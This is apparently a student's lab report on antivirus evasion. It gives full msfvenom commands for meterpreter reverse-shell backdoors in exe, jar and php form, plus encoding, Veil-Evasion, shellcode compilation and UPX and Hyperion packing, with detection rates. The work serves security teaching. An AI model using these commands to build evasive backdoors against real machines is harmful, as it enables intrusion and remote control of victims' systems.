20175201张驰exp3——免杀原理与实践

一、学习目标

  • (1)正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

  • (2)通过组合应用各种技术实现恶意代码免杀(0.5分)

    (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  • (3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

二、基础问题回答

  • 1、杀软是如何检测出恶意代码的?

  • 基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。

  • 启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。

  • 优点:
    可以检测0-day恶意软件
    具有一定通用性

  • 缺点:
    实时监控系统行为,开销稍多
    没有基于特征码的精确度高

  • 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

  • 2、免杀是做什么?
    使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。

  • 3、免杀的基本方法有哪些?

  • (1)改变特征码
    如果你手里只有EXE—— 加壳:压缩壳 加密壳
    有shellcode(像Meterpreter)—— 用encode进行编码;基于payload重新编译生成可执行文件
    有源代码—— 用其他语言进行重写再编译(veil-evasion)

  • (2)改变行为
    通讯方式:尽量使用反弹式连接;使用隧道技术;加密通讯数据
    操作模式:基于内存操作;减少对系统的修改;加入混淆作用的正常功能代码

  • (3)非常规方法
    使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    使用社工类攻击,诱骗目标关闭AV软件。
    纯手工打造一个恶意软件

  • 4、开启杀软能绝对防止电脑中恶意代码吗?
    回答:不能。因为杀软在更新病毒库,恶意代码虽然可以不断用新的方式获得免杀,但是只要杀软记录到某个进程执行操作的异常情况,就可以立即记录相关信息,更新病毒库。

三、实验步骤

1、使用msf编码器msfvenom生成后门程序

  • 查杀网站
    https://www.virustotal.com/
    http://www.virscan.org/

  • 编码一次的命令如下(-e参数为编码):
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.80.130 LPORT=5201 -f exe > 5201encoded.exe

之后我们可以通过VirusTotal或Virscan这两个网站进行检测,看看能被多少杀软检测出来。

检出率是26/49

  • 十次命令如下(比之前多加个 -i 10):
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.80.130 LPORT=5201 -f exe > 5201encoded10.exe

  • 检出率是25/49

  • 我们发现多次编码对免杀没有太大的效果,原因如下:
    shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只需要查杀你特征就完事了。

2、使用Msfvenom生成jar等其他文件

  • 用下面的命令生成jar文件:
    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.80.130 LPORT=5201 x> 20175201_backdoor_java.jar

测试一下能不能免杀:

用下面的命令生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.130 LPORT=5201 x> 20175201_backdoor.php

同样测试一下能不能免杀:

检出率3/66

3、Veil-Evasion

我们首先使用sudo apt-get update命令和sudo apt-get upgrade命令进行更新

sudo apt-get install veil命令安装Veil

之后使用veil命令打开Veil,输入y继续安装直至完成(过程十分漫长,十分艰难。。

我终于成功了...

输入use evasion,进入veil-evasion

输入list,可查看可生成文件的格式

输入命令use c/meterpreter/rev_tcp.py进入配置界面

依次输入set LHOST 192.168.80.130set LPORT 5201设置反弹连接IP和端口

输入generate生成文件

然后我们用Virus Total来检测一下,看看有多少杀软能检测出来

检出率10/49效果其实还不错了

4、用shellcode编程生成后门程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.130 LPORT=5201 -f c生成一段shellcode

然后我们用vim命令创建一个文件20175201.c,然后将unsigned char buf[]赋值到其中,内容如下:

使用命令i686-w64-mingw32-g++ 20175201.c -o 20175201.exe编译这个.c文件为可执行文件

通过Virustotal检测结果如下:

5、加壳

给之前的20175201.exe加个壳得到20175201_upx.exe:

virus totals检测结果:

通过腾讯管家扫描:

加密壳(Hyperion)

  • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

  • 进入目录/usr/share/windows-binaries/hyperion/

  • 输入命令wine hyperion.exe -v 20175201_upx.exe 20175201_upx_Hyperion.exe进行加壳:

通过virus totals:

(3)通过组合应用各种技术实现恶意代码免杀

我们可以使用msfvenom -l encoders查看可以使用的编码器来生成不同的后门

使用之前的Veil,c/meterpreter/rev_tcp.py生成的exe可执行文件加UPX压缩壳;然后在kali上监听并回连

三、实验遇到的问题

1、装veil的时候,缺少Python3.4的包。

  • 解决:
git clone https://github.com/Veil-Framework/Veil
cd Veil/config/
./setup.sh 

2、没有找到hyperion.exe程序。

  • 按步骤做到这里人懵了,百度有相似的问题,但我尝试都失败了。最后参考了丁文韬同学的博客解决:
https://www.cnblogs.com/jxxydwt1999/p/12350148.html#_label2_1

四、实验感想

在本次实验中,比较麻烦的有两点:veil的安装,和虚拟机之间连通。我装的veil在安装过程中重复error,我百度了很久才解决完安装好;我的虚拟机安装好之后默认是采用nat连接,可以与主机连通,但是要将虚拟机改为桥接模式,并将要连通的两台虚拟机设置在同一子网下重启一下,就可以互ping成功,然后再根据新的ip地址重新生成后门。
本次实验我学会了如何通过msf、veil-evasion构造后门,以及对简单的后门进行加壳保护,也证明了可以躲避普通杀软,但是通过不了专业的杀毒。实验在之后的学习过程中,我会努力站在攻击者的角度思考,从而避免被恶意代码攻击成功。

posted @ 2020-03-28 07:57  20175201张驰  阅读(288)  评论(0编辑  收藏  举报